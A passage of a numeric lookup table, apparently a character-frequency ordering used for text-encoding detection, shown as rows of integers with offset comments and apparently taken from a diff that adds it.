379,3822,3211,5065,3212, 505,1942,2628,1992,1382,2319,5066, 380,2362, 218, 702, # 784 +1818,1248,3465,3044,3572,3355,3282,5067,2992,3694, 930,3283,3823,5068, 59,5069, # 800 + 585, 601,4221, 497,3466,1112,1314,4535,1802,5070,1223,1472,2177,5071, 749,1837, # 816 + 690,1900,3824,1773,3988,1476, 429,1043,1791,2236,2117, 917,4222, 447,1086,1629, # 832 +5072, 556,5073,5074,2021,1654, 844,1090, 105, 550, 966,1758,2828,1008,1783, 686, # 848 +1095,5075,2287, 793,1602,5076,3573,2603,4536,4223,2948,2302,4537,3825, 980,2503, # 864 + 544, 353, 527,4538, 908,2687,2913,5077, 381,2629,1943,1348,5078,1341,1252, 560, # 880 +3095,5079,3467,2870,5080,2054, 973, 886,2081, 143,4539,5081,5082, 157,3989, 496, # 896 +4224, 57, 840, 540,2039,4540,4541,3468,2118,1445, 970,2264,1748,1966,2082,4225, # 912 +3144,1234,1776,3284,2829,3695, 773,1206,2130,1066,2040,1326,3990,1738,1725,4226, # 928 + 279,3145, 51,1544,2604, 423,1578,2131,2067, 173,4542,1880,5083,5084,1583, 264, # 944 + 610,3696,4543,2444, 280, 154,5085,5086,5087,1739, 338,1282,3096, 693,2871,1411, # 960 +1074,3826,2445,5088,4544,5089,5090,1240, 952,2399,5091,2914,1538,2688, 685,1483, # 976 +4227,2475,1436, 953,4228,2055,4545, 671,2400, 79,4229,2446,3285, 608, 567,2689, # 992 +3469,4230,4231,1691, 393,1261,1792,2401,5092,4546,5093,5094,5095,5096,1383,1672, # 1008 +3827,3213,1464, 522,1119, 661,1150, 216, 675,4547,3991,1432,3574, 609,4548,2690, # 1024 +2402,5097,5098,5099,4232,3045, 0,5100,2476, 315, 231,2447, 301,3356,4549,2385, # 1040 +5101, 233,4233,3697,1819,4550,4551,5102, 96,1777,1315,2083,5103, 257,5104,1810, # 1056 +3698,2718,1139,1820,4234,2022,1124,2164,2791,1778,2659,5105,3097, 363,1655,3214, # 1072 +5106,2993,5107,5108,5109,3992,1567,3993, 718, 103,3215, 849,1443, 341,3357,2949, # 1088 +1484,5110,1712, 127, 67, 339,4235,2403, 679,1412, 821,5111,5112, 834, 738, 351, # 1104 +2994,2147, 846, 235,1497,1881, 418,1993,3828,2719, 186,1100,2148,2756,3575,1545, # 1120 +1355,2950,2872,1377, 583,3994,4236,2581,2995,5113,1298,3699,1078,2557,3700,2363, # 1136 + 78,3829,3830, 267,1289,2100,2002,1594,4237, 348, 369,1274,2197,2178,1838,4552, # 1152 +1821,2830,3701,2757,2288,2003,4553,2951,2758, 144,3358, 882,4554,3995,2759,3470, # 1168 +4555,2915,5114,4238,1726, 320,5115,3996,3046, 788,2996,5116,2831,1774,1327,2873, # 1184 +3997,2832,5117,1306,4556,2004,1700,3831,3576,2364,2660, 787,2023, 506, 824,3702, # 1200 + 534, 323,4557,1044,3359,2024,1901, 946,3471,5118,1779,1500,1678,5119,1882,4558, # 1216 + 165, 243,4559,3703,2528, 123, 683,4239, 764,4560, 36,3998,1793, 589,2916, 816, # 1232 + 626,1667,3047,2237,1639,1555,1622,3832,3999,5120,4000,2874,1370,1228,1933, 891, # 1248 +2084,2917, 304,4240,5121, 292,2997,2720,3577, 691,2101,4241,1115,4561, 118, 662, # 1264 +5122, 611,1156, 854,2386,1316,2875, 2, 386, 515,2918,5123,5124,3286, 868,2238, # 1280 +1486, 855,2661, 785,2216,3048,5125,1040,3216,3578,5126,3146, 448,5127,1525,5128, # 1296 +2165,4562,5129,3833,5130,4242,2833,3579,3147, 503, 818,4001,3148,1568, 814, 676, # 1312 +1444, 306,1749,5131,3834,1416,1030, 197,1428, 805,2834,1501,4563,5132,5133,5134, # 1328 +1994,5135,4564,5136,5137,2198, 13,2792,3704,2998,3149,1229,1917,5138,3835,2132, # 1344 +5139,4243,4565,2404,3580,5140,2217,1511,1727,1120,5141,5142, 646,3836,2448, 307, # 1360 +5143,5144,1595,3217,5145,5146,5147,3705,1113,1356,4002,1465,2529,2530,5148, 519, # 1376 +5149, 128,2133, 92,2289,1980,5150,4003,1512, 342,3150,2199,5151,2793,2218,1981, # 1392 +3360,4244, 290,1656,1317, 789, 827,2365,5152,3837,4566, 562, 581,4004,5153, 401, # 1408 +4567,2252, 94,4568,5154,1399,2794,5155,1463,2025,4569,3218,1944,5156, 828,1105, # 1424 +4245,1262,1394,5157,4246, 605,4570,5158,1784,2876,5159,2835, 819,2102, 578,2200, # 1440 +2952,5160,1502, 436,3287,4247,3288,2836,4005,2919,3472,3473,5161,2721,2320,5162, # 1456 +5163,2337,2068, 23,4571, 193, 826,3838,2103, 699,1630,4248,3098, 390,1794,1064, # 1472 +3581,5164,1579,3099,3100,1400,5165,4249,1839,1640,2877,5166,4572,4573, 137,4250, # 1488 + 598,3101,1967, 780, 104, 974,2953,5167, 278, 899, 253, 402, 572, 504, 493,1339, # 1504 +5168,4006,1275,4574,2582,2558,5169,3706,3049,3102,2253, 565,1334,2722, 863, 41, # 1520 +5170,5171,4575,5172,1657,2338, 19, 463,2760,4251, 606,5173,2999,3289,1087,2085, # 1536 +1323,2662,3000,5174,1631,1623,1750,4252,2691,5175,2878, 791,2723,2663,2339, 232, # 1552 +2421,5176,3001,1498,5177,2664,2630, 755,1366,3707,3290,3151,2026,1609, 119,1918, # 1568 +3474, 862,1026,4253,5178,4007,3839,4576,4008,4577,2265,1952,2477,5179,1125, 817, # 1584 +4254,4255,4009,1513,1766,2041,1487,4256,3050,3291,2837,3840,3152,5180,5181,1507, # 1600 +5182,2692, 733, 40,1632,1106,2879, 345,4257, 841,2531, 230,4578,3002,1847,3292, # 1616 +3475,5183,1263, 986,3476,5184, 735, 879, 254,1137, 857, 622,1300,1180,1388,1562, # 1632 +4010,4011,2954, 967,2761,2665,1349, 592,2134,1692,3361,3003,1995,4258,1679,4012, # 1648 +1902,2188,5185, 739,3708,2724,1296,1290,5186,4259,2201,2202,1922,1563,2605,2559, # 1664 +1871,2762,3004,5187, 435,5188, 343,1108, 596, 17,1751,4579,2239,3477,3709,5189, # 1680 +4580, 294,3582,2955,1693, 477, 979, 281,2042,3583, 643,2043,3710,2631,2795,2266, # 1696 +1031,2340,2135,2303,3584,4581, 367,1249,2560,5190,3585,5191,4582,1283,3362,2005, # 1712 + 240,1762,3363,4583,4584, 836,1069,3153, 474,5192,2149,2532, 268,3586,5193,3219, # 1728 +1521,1284,5194,1658,1546,4260,5195,3587,3588,5196,4261,3364,2693,1685,4262, 961, # 1744 +1673,2632, 190,2006,2203,3841,4585,4586,5197, 570,2504,3711,1490,5198,4587,2633, # 1760 +3293,1957,4588, 584,1514, 396,1045,1945,5199,4589,1968,2449,5200,5201,4590,4013, # 1776 + 619,5202,3154,3294, 215,2007,2796,2561,3220,4591,3221,4592, 763,4263,3842,4593, # 1792 +5203,5204,1958,1767,2956,3365,3712,1174, 452,1477,4594,3366,3155,5205,2838,1253, # 1808 +2387,2189,1091,2290,4264, 492,5206, 638,1169,1825,2136,1752,4014, 648, 926,1021, # 1824 +1324,4595, 520,4596, 997, 847,1007, 892,4597,3843,2267,1872,3713,2405,1785,4598, # 1840 +1953,2957,3103,3222,1728,4265,2044,3714,4599,2008,1701,3156,1551, 30,2268,4266, # 1856 +5207,2027,4600,3589,5208, 501,5209,4267, 594,3478,2166,1822,3590,3479,3591,3223, # 1872 + 829,2839,4268,5210,1680,3157,1225,4269,5211,3295,4601,4270,3158,2341,5212,4602, # 1888 +4271,5213,4015,4016,5214,1848,2388,2606,3367,5215,4603, 374,4017, 652,4272,4273, # 1904 + 375,1140, 798,5216,5217,5218,2366,4604,2269, 546,1659, 138,3051,2450,4605,5219, # 1920 +2254, 612,1849, 910, 796,3844,1740,1371, 825,3845,3846,5220,2920,2562,5221, 692, # 1936 + 444,3052,2634, 801,4606,4274,5222,1491, 244,1053,3053,4275,4276, 340,5223,4018, # 1952 +1041,3005, 293,1168, 87,1357,5224,1539, 959,5225,2240, 721, 694,4277,3847, 219, # 1968 +1478, 644,1417,3368,2666,1413,1401,1335,1389,4019,5226,5227,3006,2367,3159,1826, # 1984 + 730,1515, 184,2840, 66,4607,5228,1660,2958, 246,3369, 378,1457, 226,3480, 975, # 2000 +4020,2959,1264,3592, 674, 696,5229, 163,5230,1141,2422,2167, 713,3593,3370,4608, # 2016 +4021,5231,5232,1186, 15,5233,1079,1070,5234,1522,3224,3594, 276,1050,2725, 758, # 2032 +1126, 653,2960,3296,5235,2342, 889,3595,4022,3104,3007, 903,1250,4609,4023,3481, # 2048 +3596,1342,1681,1718, 766,3297, 286, 89,2961,3715,5236,1713,5237,2607,3371,3008, # 2064 +5238,2962,2219,3225,2880,5239,4610,2505,2533, 181, 387,1075,4024, 731,2190,3372, # 2080 +5240,3298, 310, 313,3482,2304, 770,4278, 54,3054, 189,4611,3105,3848,4025,5241, # 2096 +1230,1617,1850, 355,3597,4279,4612,3373, 111,4280,3716,1350,3160,3483,3055,4281, # 2112 +2150,3299,3598,5242,2797,4026,4027,3009, 722,2009,5243,1071, 247,1207,2343,2478, # 2128 +1378,4613,2010, 864,1437,1214,4614, 373,3849,1142,2220, 667,4615, 442,2763,2563, # 2144 +3850,4028,1969,4282,3300,1840, 837, 170,1107, 934,1336,1883,5244,5245,2119,4283, # 2160 +2841, 743,1569,5246,4616,4284, 582,2389,1418,3484,5247,1803,5248, 357,1395,1729, # 2176 +3717,3301,2423,1564,2241,5249,3106,3851,1633,4617,1114,2086,4285,1532,5250, 482, # 2192 +2451,4618,5251,5252,1492, 833,1466,5253,2726,3599,1641,2842,5254,1526,1272,3718, # 2208 +4286,1686,1795, 416,2564,1903,1954,1804,5255,3852,2798,3853,1159,2321,5256,2881, # 2224 +4619,1610,1584,3056,2424,2764, 443,3302,1163,3161,5257,5258,4029,5259,4287,2506, # 2240 +3057,4620,4030,3162,2104,1647,3600,2011,1873,4288,5260,4289, 431,3485,5261, 250, # 2256 + 97, 81,4290,5262,1648,1851,1558, 160, 848,5263, 866, 740,1694,5264,2204,2843, # 2272 +3226,4291,4621,3719,1687, 950,2479, 426, 469,3227,3720,3721,4031,5265,5266,1188, # 2288 + 424,1996, 861,3601,4292,3854,2205,2694, 168,1235,3602,4293,5267,2087,1674,4622, # 2304 +3374,3303, 220,2565,1009,5268,3855, 670,3010, 332,1208, 717,5269,5270,3603,2452, # 2320 +4032,3375,5271, 513,5272,1209,2882,3376,3163,4623,1080,5273,5274,5275,5276,2534, # 2336 +3722,3604, 815,1587,4033,4034,5277,3605,3486,3856,1254,4624,1328,3058,1390,4035, # 2352 +1741,4036,3857,4037,5278, 236,3858,2453,3304,5279,5280,3723,3859,1273,3860,4625, # 2368 +5281, 308,5282,4626, 245,4627,1852,2480,1307,2583, 430, 715,2137,2454,5283, 270, # 2384 + 199,2883,4038,5284,3606,2727,1753, 761,1754, 725,1661,1841,4628,3487,3724,5285, # 2400 +5286, 587, 14,3305, 227,2608, 326, 480,2270, 943,2765,3607, 291, 650,1884,5287, # 2416 +1702,1226, 102,1547, 62,3488, 904,4629,3489,1164,4294,5288,5289,1224,1548,2766, # 2432 + 391, 498,1493,5290,1386,1419,5291,2056,1177,4630, 813, 880,1081,2368, 566,1145, # 2448 +4631,2291,1001,1035,2566,2609,2242, 394,1286,5292,5293,2069,5294, 86,1494,1730, # 2464 +4039, 491,1588, 745, 897,2963, 843,3377,4040,2767,2884,3306,1768, 998,2221,2070, # 2480 + 397,1827,1195,1970,3725,3011,3378, 284,5295,3861,2507,2138,2120,1904,5296,4041, # 2496 +2151,4042,4295,1036,3490,1905, 114,2567,4296, 209,1527,5297,5298,2964,2844,2635, # 2512 +2390,2728,3164, 812,2568,5299,3307,5300,1559, 737,1885,3726,1210, 885, 28,2695, # 2528 +3608,3862,5301,4297,1004,1780,4632,5302, 346,1982,2222,2696,4633,3863,1742, 797, # 2544 +1642,4043,1934,1072,1384,2152, 896,4044,3308,3727,3228,2885,3609,5303,2569,1959, # 2560 +4634,2455,1786,5304,5305,5306,4045,4298,1005,1308,3728,4299,2729,4635,4636,1528, # 2576 +2610, 161,1178,4300,1983, 987,4637,1101,4301, 631,4046,1157,3229,2425,1343,1241, # 2592 +1016,2243,2570, 372, 877,2344,2508,1160, 555,1935, 911,4047,5307, 466,1170, 169, # 2608 +1051,2921,2697,3729,2481,3012,1182,2012,2571,1251,2636,5308, 992,2345,3491,1540, # 2624 +2730,1201,2071,2406,1997,2482,5309,4638, 528,1923,2191,1503,1874,1570,2369,3379, # 2640 +3309,5310, 557,1073,5311,1828,3492,2088,2271,3165,3059,3107, 767,3108,2799,4639, # 2656 +1006,4302,4640,2346,1267,2179,3730,3230, 778,4048,3231,2731,1597,2667,5312,4641, # 2672 +5313,3493,5314,5315,5316,3310,2698,1433,3311, 131, 95,1504,4049, 723,4303,3166, # 2688 +1842,3610,2768,2192,4050,2028,2105,3731,5317,3013,4051,1218,5318,3380,3232,4052, # 2704 +4304,2584, 248,1634,3864, 912,5319,2845,3732,3060,3865, 654, 53,5320,3014,5321, # 2720 +1688,4642, 777,3494,1032,4053,1425,5322, 191, 820,2121,2846, 971,4643, 931,3233, # 2736 + 135, 664, 783,3866,1998, 772,2922,1936,4054,3867,4644,2923,3234, 282,2732, 640, # 2752 +1372,3495,1127, 922, 325,3381,5323,5324, 711,2045,5325,5326,4055,2223,2800,1937, # 2768 +4056,3382,2224,2255,3868,2305,5327,4645,3869,1258,3312,4057,3235,2139,2965,4058, # 2784 +4059,5328,2225, 258,3236,4646, 101,1227,5329,3313,1755,5330,1391,3314,5331,2924, # 2800 +2057, 893,5332,5333,5334,1402,4305,2347,5335,5336,3237,3611,5337,5338, 878,1325, # 2816 +1781,2801,4647, 259,1385,2585, 744,1183,2272,4648,5339,4060,2509,5340, 684,1024, # 2832 +4306,5341, 472,3612,3496,1165,3315,4061,4062, 322,2153, 881, 455,1695,1152,1340, # 2848 + 660, 554,2154,4649,1058,4650,4307, 830,1065,3383,4063,4651,1924,5342,1703,1919, # 2864 +5343, 932,2273, 122,5344,4652, 947, 677,5345,3870,2637, 297,1906,1925,2274,4653, # 2880 +2322,3316,5346,5347,4308,5348,4309, 84,4310, 112, 989,5349, 547,1059,4064, 701, # 2896 +3613,1019,5350,4311,5351,3497, 942, 639, 457,2306,2456, 993,2966, 407, 851, 494, # 2912 +4654,3384, 927,5352,1237,5353,2426,3385, 573,4312, 680, 921,2925,1279,1875, 285, # 2928 + 790,1448,1984, 719,2168,5354,5355,4655,4065,4066,1649,5356,1541, 563,5357,1077, # 2944 +5358,3386,3061,3498, 511,3015,4067,4068,3733,4069,1268,2572,3387,3238,4656,4657, # 2960 +5359, 535,1048,1276,1189,2926,2029,3167,1438,1373,2847,2967,1134,2013,5360,4313, # 2976 +1238,2586,3109,1259,5361, 700,5362,2968,3168,3734,4314,5363,4315,1146,1876,1907, # 2992 +4658,2611,4070, 781,2427, 132,1589, 203, 147, 273,2802,2407, 898,1787,2155,4071, # 3008 +4072,5364,3871,2803,5365,5366,4659,4660,5367,3239,5368,1635,3872, 965,5369,1805, # 3024 +2699,1516,3614,1121,1082,1329,3317,4073,1449,3873, 65,1128,2848,2927,2769,1590, # 3040 +3874,5370,5371, 12,2668, 45, 976,2587,3169,4661, 517,2535,1013,1037,3240,5372, # 3056 +3875,2849,5373,3876,5374,3499,5375,2612, 614,1999,2323,3877,3110,2733,2638,5376, # 3072 +2588,4316, 599,1269,5377,1811,3735,5378,2700,3111, 759,1060, 489,1806,3388,3318, # 3088 +1358,5379,5380,2391,1387,1215,2639,2256, 490,5381,5382,4317,1759,2392,2348,5383, # 3104 +4662,3878,1908,4074,2640,1807,3241,4663,3500,3319,2770,2349, 874,5384,5385,3501, # 3120 +3736,1859, 91,2928,3737,3062,3879,4664,5386,3170,4075,2669,5387,3502,1202,1403, # 3136 +3880,2969,2536,1517,2510,4665,3503,2511,5388,4666,5389,2701,1886,1495,1731,4076, # 3152 +2370,4667,5390,2030,5391,5392,4077,2702,1216, 237,2589,4318,2324,4078,3881,4668, # 3168 +4669,2703,3615,3504, 445,4670,5393,5394,5395,5396,2771, 61,4079,3738,1823,4080, # 3184 +5397, 687,2046, 935, 925, 405,2670, 703,1096,1860,2734,4671,4081,1877,1367,2704, # 3200 +3389, 918,2106,1782,2483, 334,3320,1611,1093,4672, 564,3171,3505,3739,3390, 945, # 3216 +2641,2058,4673,5398,1926, 872,4319,5399,3506,2705,3112, 349,4320,3740,4082,4674, # 3232 +3882,4321,3741,2156,4083,4675,4676,4322,4677,2408,2047, 782,4084, 400, 251,4323, # 3248 +1624,5400,5401, 277,3742, 299,1265, 476,1191,3883,2122,4324,4325,1109, 205,5402, # 3264 +2590,1000,2157,3616,1861,5403,5404,5405,4678,5406,4679,2573, 107,2484,2158,4085, # 3280 +3507,3172,5407,1533, 541,1301, 158, 753,4326,2886,3617,5408,1696, 370,1088,4327, # 3296 +4680,3618, 579, 327, 440, 162,2244, 269,1938,1374,3508, 968,3063, 56,1396,3113, # 3312 +2107,3321,3391,5409,1927,2159,4681,3016,5410,3619,5411,5412,3743,4682,2485,5413, # 3328 +2804,5414,1650,4683,5415,2613,5416,5417,4086,2671,3392,1149,3393,4087,3884,4088, # 3344 +5418,1076, 49,5419, 951,3242,3322,3323, 450,2850, 920,5420,1812,2805,2371,4328, # 3360 +1909,1138,2372,3885,3509,5421,3243,4684,1910,1147,1518,2428,4685,3886,5422,4686, # 3376 +2393,2614, 260,1796,3244,5423,5424,3887,3324, 708,5425,3620,1704,5426,3621,1351, # 3392 +1618,3394,3017,1887, 944,4329,3395,4330,3064,3396,4331,5427,3744, 422, 413,1714, # 3408 +3325, 500,2059,2350,4332,2486,5428,1344,1911, 954,5429,1668,5430,5431,4089,2409, # 3424 +4333,3622,3888,4334,5432,2307,1318,2512,3114, 133,3115,2887,4687, 629, 31,2851, # 3440 +2706,3889,4688, 850, 949,4689,4090,2970,1732,2089,4335,1496,1853,5433,4091, 620, # 3456 +3245, 981,1242,3745,3397,1619,3746,1643,3326,2140,2457,1971,1719,3510,2169,5434, # 3472 +3246,5435,5436,3398,1829,5437,1277,4690,1565,2048,5438,1636,3623,3116,5439, 869, # 3488 +2852, 655,3890,3891,3117,4092,3018,3892,1310,3624,4691,5440,5441,5442,1733, 558, # 3504 +4692,3747, 335,1549,3065,1756,4336,3748,1946,3511,1830,1291,1192, 470,2735,2108, # 3520 +2806, 913,1054,4093,5443,1027,5444,3066,4094,4693, 982,2672,3399,3173,3512,3247, # 3536 +3248,1947,2807,5445, 571,4694,5446,1831,5447,3625,2591,1523,2429,5448,2090, 984, # 3552 +4695,3749,1960,5449,3750, 852, 923,2808,3513,3751, 969,1519, 999,2049,2325,1705, # 3568 +5450,3118, 615,1662, 151, 597,4095,2410,2326,1049, 275,4696,3752,4337, 568,3753, # 3584 +3626,2487,4338,3754,5451,2430,2275, 409,3249,5452,1566,2888,3514,1002, 769,2853, # 3600 + 194,2091,3174,3755,2226,3327,4339, 628,1505,5453,5454,1763,2180,3019,4096, 521, # 3616 +1161,2592,1788,2206,2411,4697,4097,1625,4340,4341, 412, 42,3119, 464,5455,2642, # 3632 +4698,3400,1760,1571,2889,3515,2537,1219,2207,3893,2643,2141,2373,4699,4700,3328, # 3648 +1651,3401,3627,5456,5457,3628,2488,3516,5458,3756,5459,5460,2276,2092, 460,5461, # 3664 +4701,5462,3020, 962, 588,3629, 289,3250,2644,1116, 52,5463,3067,1797,5464,5465, # 3680 +5466,1467,5467,1598,1143,3757,4342,1985,1734,1067,4702,1280,3402, 465,4703,1572, # 3696 + 510,5468,1928,2245,1813,1644,3630,5469,4704,3758,5470,5471,2673,1573,1534,5472, # 3712 +5473, 536,1808,1761,3517,3894,3175,2645,5474,5475,5476,4705,3518,2929,1912,2809, # 3728 +5477,3329,1122, 377,3251,5478, 360,5479,5480,4343,1529, 551,5481,2060,3759,1769, # 3744 +2431,5482,2930,4344,3330,3120,2327,2109,2031,4706,1404, 136,1468,1479, 672,1171, # 3760 +3252,2308, 271,3176,5483,2772,5484,2050, 678,2736, 865,1948,4707,5485,2014,4098, # 3776 +2971,5486,2737,2227,1397,3068,3760,4708,4709,1735,2931,3403,3631,5487,3895, 509, # 3792 +2854,2458,2890,3896,5488,5489,3177,3178,4710,4345,2538,4711,2309,1166,1010, 552, # 3808 + 681,1888,5490,5491,2972,2973,4099,1287,1596,1862,3179, 358, 453, 736, 175, 478, # 3824 +1117, 905,1167,1097,5492,1854,1530,5493,1706,5494,2181,3519,2292,3761,3520,3632, # 3840 +4346,2093,4347,5495,3404,1193,2489,4348,1458,2193,2208,1863,1889,1421,3331,2932, # 3856 +3069,2182,3521, 595,2123,5496,4100,5497,5498,4349,1707,2646, 223,3762,1359, 751, # 3872 +3121, 183,3522,5499,2810,3021, 419,2374, 633, 704,3897,2394, 241,5500,5501,5502, # 3888 + 838,3022,3763,2277,2773,2459,3898,1939,2051,4101,1309,3122,2246,1181,5503,1136, # 3904 +2209,3899,2375,1446,4350,2310,4712,5504,5505,4351,1055,2615, 484,3764,5506,4102, # 3920 + 625,4352,2278,3405,1499,4353,4103,5507,4104,4354,3253,2279,2280,3523,5508,5509, # 3936 +2774, 808,2616,3765,3406,4105,4355,3123,2539, 526,3407,3900,4356, 955,5510,1620, # 3952 +4357,2647,2432,5511,1429,3766,1669,1832, 994, 928,5512,3633,1260,5513,5514,5515, # 3968 +1949,2293, 741,2933,1626,4358,2738,2460, 867,1184, 362,3408,1392,5516,5517,4106, # 3984 +4359,1770,1736,3254,2934,4713,4714,1929,2707,1459,1158,5518,3070,3409,2891,1292, # 4000 +1930,2513,2855,3767,1986,1187,2072,2015,2617,4360,5519,2574,2514,2170,3768,2490, # 4016 +3332,5520,3769,4715,5521,5522, 666,1003,3023,1022,3634,4361,5523,4716,1814,2257, # 4032 + 574,3901,1603, 295,1535, 705,3902,4362, 283, 858, 417,5524,5525,3255,4717,4718, # 4048 +3071,1220,1890,1046,2281,2461,4107,1393,1599, 689,2575, 388,4363,5526,2491, 802, # 4064 +5527,2811,3903,2061,1405,2258,5528,4719,3904,2110,1052,1345,3256,1585,5529, 809, # 4080 +5530,5531,5532, 575,2739,3524, 956,1552,1469,1144,2328,5533,2329,1560,2462,3635, # 4096 +3257,4108, 616,2210,4364,3180,2183,2294,5534,1833,5535,3525,4720,5536,1319,3770, # 4112 +3771,1211,3636,1023,3258,1293,2812,5537,5538,5539,3905, 607,2311,3906, 762,2892, # 4128 +1439,4365,1360,4721,1485,3072,5540,4722,1038,4366,1450,2062,2648,4367,1379,4723, # 4144 +2593,5541,5542,4368,1352,1414,2330,2935,1172,5543,5544,3907,3908,4724,1798,1451, # 4160 +5545,5546,5547,5548,2936,4109,4110,2492,2351, 411,4111,4112,3637,3333,3124,4725, # 4176 +1561,2674,1452,4113,1375,5549,5550, 47,2974, 316,5551,1406,1591,2937,3181,5552, # 4192 +1025,2142,3125,3182, 354,2740, 884,2228,4369,2412, 508,3772, 726,3638, 996,2433, # 4208 +3639, 729,5553, 392,2194,1453,4114,4726,3773,5554,5555,2463,3640,2618,1675,2813, # 4224 + 919,2352,2975,2353,1270,4727,4115, 73,5556,5557, 647,5558,3259,2856,2259,1550, # 4240 +1346,3024,5559,1332, 883,3526,5560,5561,5562,5563,3334,2775,5564,1212, 831,1347, # 4256 +4370,4728,2331,3909,1864,3073, 720,3910,4729,4730,3911,5565,4371,5566,5567,4731, # 4272 +5568,5569,1799,4732,3774,2619,4733,3641,1645,2376,4734,5570,2938, 669,2211,2675, # 4288 +2434,5571,2893,5572,5573,1028,3260,5574,4372,2413,5575,2260,1353,5576,5577,4735, # 4304 +3183, 518,5578,4116,5579,4373,1961,5580,2143,4374,5581,5582,3025,2354,2355,3912, # 4320 + 516,1834,1454,4117,2708,4375,4736,2229,2620,1972,1129,3642,5583,2776,5584,2976, # 4336 +1422, 577,1470,3026,1524,3410,5585,5586, 432,4376,3074,3527,5587,2594,1455,2515, # 4352 +2230,1973,1175,5588,1020,2741,4118,3528,4737,5589,2742,5590,1743,1361,3075,3529, # 4368 +2649,4119,4377,4738,2295, 895, 924,4378,2171, 331,2247,3076, 166,1627,3077,1098, # 4384 +5591,1232,2894,2231,3411,4739, 657, 403,1196,2377, 542,3775,3412,1600,4379,3530, # 4400 +5592,4740,2777,3261, 576, 530,1362,4741,4742,2540,2676,3776,4120,5593, 842,3913, # 4416 +5594,2814,2032,1014,4121, 213,2709,3413, 665, 621,4380,5595,3777,2939,2435,5596, # 4432 +2436,3335,3643,3414,4743,4381,2541,4382,4744,3644,1682,4383,3531,1380,5597, 724, # 4448 +2282, 600,1670,5598,1337,1233,4745,3126,2248,5599,1621,4746,5600, 651,4384,5601, # 4464 +1612,4385,2621,5602,2857,5603,2743,2312,3078,5604, 716,2464,3079, 174,1255,2710, # 4480 +4122,3645, 548,1320,1398, 728,4123,1574,5605,1891,1197,3080,4124,5606,3081,3082, # 4496 +3778,3646,3779, 747,5607, 635,4386,4747,5608,5609,5610,4387,5611,5612,4748,5613, # 4512 +3415,4749,2437, 451,5614,3780,2542,2073,4388,2744,4389,4125,5615,1764,4750,5616, # 4528 +4390, 350,4751,2283,2395,2493,5617,4391,4126,2249,1434,4127, 488,4752, 458,4392, # 4544 +4128,3781, 771,1330,2396,3914,2576,3184,2160,2414,1553,2677,3185,4393,5618,2494, # 4560 +2895,2622,1720,2711,4394,3416,4753,5619,2543,4395,5620,3262,4396,2778,5621,2016, # 4576 +2745,5622,1155,1017,3782,3915,5623,3336,2313, 201,1865,4397,1430,5624,4129,5625, # 4592 +5626,5627,5628,5629,4398,1604,5630, 414,1866, 371,2595,4754,4755,3532,2017,3127, # 4608 +4756,1708, 960,4399, 887, 389,2172,1536,1663,1721,5631,2232,4130,2356,2940,1580, # 4624 +5632,5633,1744,4757,2544,4758,4759,5634,4760,5635,2074,5636,4761,3647,3417,2896, # 4640 +4400,5637,4401,2650,3418,2815, 673,2712,2465, 709,3533,4131,3648,4402,5638,1148, # 4656 + 502, 634,5639,5640,1204,4762,3649,1575,4763,2623,3783,5641,3784,3128, 948,3263, # 4672 + 121,1745,3916,1110,5642,4403,3083,2516,3027,4132,3785,1151,1771,3917,1488,4133, # 4688 +1987,5643,2438,3534,5644,5645,2094,5646,4404,3918,1213,1407,2816, 531,2746,2545, # 4704 +3264,1011,1537,4764,2779,4405,3129,1061,5647,3786,3787,1867,2897,5648,2018, 120, # 4720 +4406,4407,2063,3650,3265,2314,3919,2678,3419,1955,4765,4134,5649,3535,1047,2713, # 4736 +1266,5650,1368,4766,2858, 649,3420,3920,2546,2747,1102,2859,2679,5651,5652,2000, # 4752 +5653,1111,3651,2977,5654,2495,3921,3652,2817,1855,3421,3788,5655,5656,3422,2415, # 4768 +2898,3337,3266,3653,5657,2577,5658,3654,2818,4135,1460, 856,5659,3655,5660,2899, # 4784 +2978,5661,2900,3922,5662,4408, 632,2517, 875,3923,1697,3924,2296,5663,5664,4767, # 4800 +3028,1239, 580,4768,4409,5665, 914, 936,2075,1190,4136,1039,2124,5666,5667,5668, # 4816 +5669,3423,1473,5670,1354,4410,3925,4769,2173,3084,4137, 915,3338,4411,4412,3339, # 4832 +1605,1835,5671,2748, 398,3656,4413,3926,4138, 328,1913,2860,4139,3927,1331,4414, # 4848 +3029, 937,4415,5672,3657,4140,4141,3424,2161,4770,3425, 524, 742, 538,3085,1012, # 4864 +5673,5674,3928,2466,5675, 658,1103, 225,3929,5676,5677,4771,5678,4772,5679,3267, # 4880 +1243,5680,4142, 963,2250,4773,5681,2714,3658,3186,5682,5683,2596,2332,5684,4774, # 4896 +5685,5686,5687,3536, 957,3426,2547,2033,1931,2941,2467, 870,2019,3659,1746,2780, # 4912 +2781,2439,2468,5688,3930,5689,3789,3130,3790,3537,3427,3791,5690,1179,3086,5691, # 4928 +3187,2378,4416,3792,2548,3188,3131,2749,4143,5692,3428,1556,2549,2297, 977,2901, # 4944 +2034,4144,1205,3429,5693,1765,3430,3189,2125,1271, 714,1689,4775,3538,5694,2333, # 4960 +3931, 533,4417,3660,2184, 617,5695,2469,3340,3539,2315,5696,5697,3190,5698,5699, # 4976 +3932,1988, 618, 427,2651,3540,3431,5700,5701,1244,1690,5702,2819,4418,4776,5703, # 4992 +3541,4777,5704,2284,1576, 473,3661,4419,3432, 972,5705,3662,5706,3087,5707,5708, # 5008 +4778,4779,5709,3793,4145,4146,5710, 153,4780, 356,5711,1892,2902,4420,2144, 408, # 5024 + 803,2357,5712,3933,5713,4421,1646,2578,2518,4781,4782,3934,5714,3935,4422,5715, # 5040 +2416,3433, 752,5716,5717,1962,3341,2979,5718, 746,3030,2470,4783,4423,3794, 698, # 5056 +4784,1893,4424,3663,2550,4785,3664,3936,5719,3191,3434,5720,1824,1302,4147,2715, # 5072 +3937,1974,4425,5721,4426,3192, 823,1303,1288,1236,2861,3542,4148,3435, 774,3938, # 5088 +5722,1581,4786,1304,2862,3939,4787,5723,2440,2162,1083,3268,4427,4149,4428, 344, # 5104 +1173, 288,2316, 454,1683,5724,5725,1461,4788,4150,2597,5726,5727,4789, 985, 894, # 5120 +5728,3436,3193,5729,1914,2942,3795,1989,5730,2111,1975,5731,4151,5732,2579,1194, # 5136 + 425,5733,4790,3194,1245,3796,4429,5734,5735,2863,5736, 636,4791,1856,3940, 760, # 5152 +1800,5737,4430,2212,1508,4792,4152,1894,1684,2298,5738,5739,4793,4431,4432,2213, # 5168 + 479,5740,5741, 832,5742,4153,2496,5743,2980,2497,3797, 990,3132, 627,1815,2652, # 5184 +4433,1582,4434,2126,2112,3543,4794,5744, 799,4435,3195,5745,4795,2113,1737,3031, # 5200 +1018, 543, 754,4436,3342,1676,4796,4797,4154,4798,1489,5746,3544,5747,2624,2903, # 5216 